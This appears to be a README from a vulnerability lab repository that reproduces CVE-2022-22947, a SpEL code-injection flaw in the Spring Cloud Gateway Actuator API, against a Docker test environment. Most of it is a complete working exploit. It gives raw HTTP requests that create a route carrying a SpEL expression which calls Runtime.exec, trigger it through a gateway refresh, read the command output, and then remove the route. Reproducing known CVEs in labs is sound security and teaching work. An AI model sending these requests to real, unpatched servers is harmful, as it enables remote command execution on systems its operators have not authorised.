Aaron
63285f61aa
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121 lines
3.2 KiB
Markdown
121 lines
3.2 KiB
Markdown
# Spring Cloud Gateway Actuator API SpEL Code Injection (CVE-2022-22947)
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[中文版本(Chinese version)](README.zh-cn.md)
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Spring Cloud Gateway provides a library for building an API Gateway on top of Spring WebFlux.
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Applications using Spring Cloud Gateway in the version prior to 3.1.0 and 3.0.6, are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
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References:
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- <https://tanzu.vmware.com/security/cve-2022-22947>
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- <https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/>
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## Vulnerability Environment
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Execute the following command to start a server that uses Spring Cloud Gateway 3.1.0:
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```
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docker compose up -d
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```
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After server is started, browse the `http://your-ip:8080` to see an example page.
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## Vulnerability Reproduce
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Firstly, send the following request to add a router which contains an evil SpEL expression:
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```
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POST /actuator/gateway/routes/hacktest HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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Content-Type: application/json
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Content-Length: 329
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{
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"id": "hacktest",
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"filters": [{
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"name": "AddResponseHeader",
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"args": {
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"name": "Result",
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"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
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}
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}],
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"uri": "http://example.com"
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}
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```
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Secondly, refresh the gateway. The SpEL expression will be executed in this step:
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```
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POST /actuator/gateway/refresh HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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```
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Thirdly, send the following request to retrieve the result:
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```
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GET /actuator/gateway/routes/hacktest HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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```
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Afterward, send a DELETE request to remove our evil router:
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```
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DELETE /actuator/gateway/routes/hacktest HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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```
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Finally, refresh the gateway again:
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```
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POST /actuator/gateway/refresh HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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```
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